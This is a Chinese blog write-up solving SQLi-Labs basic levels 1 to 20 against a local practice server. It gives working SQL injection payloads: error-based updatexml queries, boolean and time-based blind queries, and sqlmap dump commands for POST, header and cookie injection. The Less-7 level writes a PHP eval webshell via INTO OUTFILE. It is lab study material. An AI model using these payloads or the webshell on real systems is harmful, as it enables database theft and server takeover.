SQLI-LABS(Basic Challenges)

sql注入

SQL注入是比较常见的网络攻击方式之一,一般分为数字型和字符型,攻击者在HTTP请求中输入含有恶意构造且语法合法的SQL语句,只要应用程序中没有做严格的处理(例如校验或预拼接),那么就会出现SQL注入漏洞危险。

Sqli-labs

Sqli-labs-master是一个用来学习sql注入的闯关游戏。

之前看的教程中,普通题目大多数都是用union联合查询注入的,我用的是基于updatexml()函数的报错注入,这里也是参考大佬的博客慢慢学习。

函数解释:
  UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,用Xpath路径法表示的查找路径
第三个参数:new_value,String格式,替换查找到的符合条件的数据

报错原理:
第二个参数要求是xpath格式字符串(否则会报错),利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

Less-1 GET - Error based - Single quotes - String

输入id=1正常回显,但是输入id=1’时爆出了一段错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这就说明这里是一个注入点,这很明显是字符型注入,并且得知我们输入的数据被放在一对单引号内。

于是构造payload

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat('~',database()),1) --+

成功爆出库名security
在这里插入图片描述
同理,接着爆表:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

得到所有的表:emails,referers,uagents,users
在这里插入图片描述
接着查看users下的列名(字段):

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+

得到结果user_id,first_name,last_name,us
在这里插入图片描述
再查看user_id的值:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and updatexml(1,concat('~',(select user_id from users)),1) --+

在这里插入图片描述
其他表里的字段或值的查看方法也差不多,不过这种注入方法有一个缺点就是updatexml只能回显32位,当结果太长时无法一次显示出来,这时就需要结合right()函数了。

Less-2 GET - Error based - Intiger based

构造id=1’ 报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

很明显这是数字型注入,和less-1相比,只需要把payload中的id=1’换成id=1即可,其他都一样

Less-3 GET - Error based - Single quotes with twist string

构造id=1’ 报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

而构造Id=1’) --+时,正常显示不报错(–+是注释的作用)
这说明我们输入的内容被一对单引号包含后,放到一个小括号中了。

只需要把less-1中payload里的id=1’再加一个右括号,即id=1’),其他不变即可。

Less-4 GET - Error based - Double Quotes - String

这题发现构造id=1’和id=1时都是正常回显,但是id=1"时报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

说明这里是用一对双引号闭合我们输入的内容的。

和less-1相比只需要把payload中的id=1’改成id=1"即可

Less-5 GET - Double Injection - Single Quotes - String

这题一般来说用布尔盲注、时间盲注和报错注入这些方法解决。普通的注入解决不了,因为这题回显的内容很少,正常回显就只有这个:
在这里插入图片描述
没有其他有效信息,但是报错注入可以回显出我们想要的东西,经过测试发现这题也是用一对单引号闭合的,所以可以采用和less-1相同的payload。

Less-6 GET - Double Injection - Double Quotes - String

这题和第五题唯一的区别是从单引号闭合换成双引号闭合的,把less-1中payload中的’换成"即可。

Less-7 GET - Dump into outfile - String

这个题就不能用普通的注入解决了,因为注释符被过滤掉了,看题目名是让我们使用文件导出解决问题。

这里可以用outfile写入一句话木马。

知识点:
Load_file() 读取本地文件,select load_file(‘文件地址’);
out file 写入文件,select ‘需要写入的内容’ out file ‘需要写入的地址\1.php’;
一句话木马: <?php @eval($_REQUEST[“123”]) ?>

准备工作:
首先判断出这题是用’))进行闭合的,再用order by判断出这里有三个表,于是构造Payload:

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1)) union select 1,2,<?php @eval($_POST[123]);?>‘ into outfile “D:\\php\\PHPTutorial\WWW\\123.php” --+

虽然报错,但是文件已经写入,再蚁剑连接即可
在这里插入图片描述

Less-8 GET - Blind - Boolian Based - Single Quotes

经过测试,发现这题是布尔型盲注,代码的正确回显并没有返回数据库的内容,只能根据页面是否返回条件,判断SQL语句是否正确,通常使用比较字符或对应的ascii值大小爆破。

如:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),1)>'e'--+

这时回显You are in…,就说明库名的第一个字母在字母’e’的后面,继续排查,当

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='s'--+

仍然回显You are in…,说明库名的一个字母为’s’.

继续猜测,可以得到完整的库名:security
以此类推,可以继续爆表,爆字段,爆值。

这里用的是left()函数,也可以使用substr+ascii进行布尔盲注,原理如下:
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值.
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值
limit m,n 其中m表示记录开始的索引,是从0开始的 limit 2,4 表示取出第三条到第六条一共四条的记录

如:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and ascii(mid(database(),1,1))=115--+

就是判断库名的第一个字母的ascii值是否为115(对应字母s),其他的也以此类推。

Less-9 GET - Blind - Time based. - Single Quotes

这个题就更怪了,不论传id的值为什么,都回显You are in…,当构造:http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘ and sleep(5)–+
发现访问页面时间有明显的延长,说明存在时间盲注漏洞,所以使用时间盲注。

构造:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=x , sleep(5), 1) --+

猜库名的长度,x从1开始取值,发现当x取8时,访问页面有明显延迟
在这里插入图片描述
其他情况是2s左右,此时变成7s,说明sleep(5)执行,侧面说明库名长度=8是正确的。
在这里插入图片描述
按照这个原理可以继续爆破库名、表名、字段名:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left(database(),1)='s' , sleep(5), 1) --+

例如这个语句就是猜库名的第一个字符是否为’s’,其他以此类推,这种方法属于猜解,所以一般用burp或者写脚本跑,或者直接sqlmap大法,手动的效率太慢了。

Less-10 GET - Blind - Time based - double quotes

这个题也是时间盲注,和第九题的区别仅仅是语句的闭合方式,只要把上一题的payload中的单引号换成双引号即可


前面十关都是get请求,操作起来较为方便,11-20考察的都是post请求,会复杂一点。

因为我的hackbar是破解版的,部分功能不完善,还有这几题我用burp抓不到包。。。。所以下面用sqlmap(windows系统下)来操作。

sqlmap简介:
sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

sqlmap支持以下几种注入方式:

 1. UNION query SQL injection(可联合查询注入)
 2. Error-based SQL injection(报错型注入)
 3. Boolean-based blind SQL injection(布尔型注入)
 4. Time-based blind SQL injection(基于时间延迟注入)
 5. Stacked queries SQL injection(可多语句查询注入)

具体的参数设置参考了大佬的博客

Less-11 POST - Error Based - Single quotes- String

题目显示这样一个页面,11-16题也都是这样的图样
在这里插入图片描述
我们输入123 123,再打开hackbar,发现post请求的内容
在这里插入图片描述
于是构造:
python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

参数解释:

-u "url"  #指定要注入的网站
--data=? #把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。
--batch #从不询问用户输入,使用所有默认配置。
--dbs #列出所有的数据库
--dump #列出所有数据库和表

加上–batch的好处就是不需要我们手动确认,即输入y(懒人福音)。

成功跑出结果:
在这里插入图片描述
也可以不用dump这种全自动的,而是慢慢跑:

python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --data="passwd=123&submit=Submit&uname=123" --batch --dbs #爆数据库
python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --data="passwd=123&submit=Submit&uname=123" --batch -D name --tables #爆指定数据库下的表 name是库名
python2 sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-11/” --data=“passwd=123&submit=Submit&uname=123” --batch -D name -T name2 --columns #爆字段
python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/" --data="passwd=123&submit=Submit&uname=123" --batch -D name -T name2 -C"name3,name4" --dump #查看指定字段内容,这里是同时查看name3和name4里的

Less-12 POST - Error Based - Double quotes- String-with twist

这题和11题的区别就是,11是单引号闭合的,12题是双引号,但是我们用的是sqlmap所以可以不考虑这个。

payload:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

Less-13 POST - Double Injection - Single quotes- String -twist

Payload:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

Less-14 POST - Double Injection - Single quotes- String -twist

Payload:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-14/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

less-15 POST - Blind- Boolian/time Based - Single quotes

Payload:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

Less-16 POST - Blind- Boolian/Time Based - Double quotes

Payload:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-16/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

Less-17 POST - Update Query- Error Based - String

payload:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-17/" --data="passwd=123&submit=Submit&uname=123" --batch --dump

Less-18 POST - Header Injection - Uagent field - Error based

这题和前面几题就不一样了,界面多了一句:your ip address is 127.0.0.1在这里插入图片描述

根据题目名可知,注入点在user-agent,所以payload有所不同。

payload: sqlmap -r 1.txt --batch --level 5 从这题开始我是在linux下运行的sqlmap

参数解释:

-r 1.txt #表示加载一个文件,这里文件名为1.txt
--level 5 #level表示嗅探等级,共有五个等级,默认为1
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。

至于1.txt文件的内容,就是用burp抓包得到的结果(或稍加修改),这题的注入点在user-agent,所以需要在user-agent内容的最后加一个*,我抓不了包,所以用别人的截图做演示。

*的作用: 在需要探测的地方加 *,可以检测出来漏洞点。

在这里插入图片描述

Less-19 POST - Header Injection - Referer field - Error based

这题界面显示和18题一样,经过判断可以知道是referer型报错注入。

构造:sqlmap -r 1.txt --batch --level 5

这里的1.txt中,需要在referer的最后加*

在这里插入图片描述

Less-20 POST - Cookie injections - Uagent field - Error based

典型的cookie注入

构造:python2 sqlmap.py -u “url” --cookie “id=1” --level 2 这里是在windows系统下运行的sqlmap

参数解释:

--cookie "?" #获取cookie参数
#这里的level必须≥2         
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值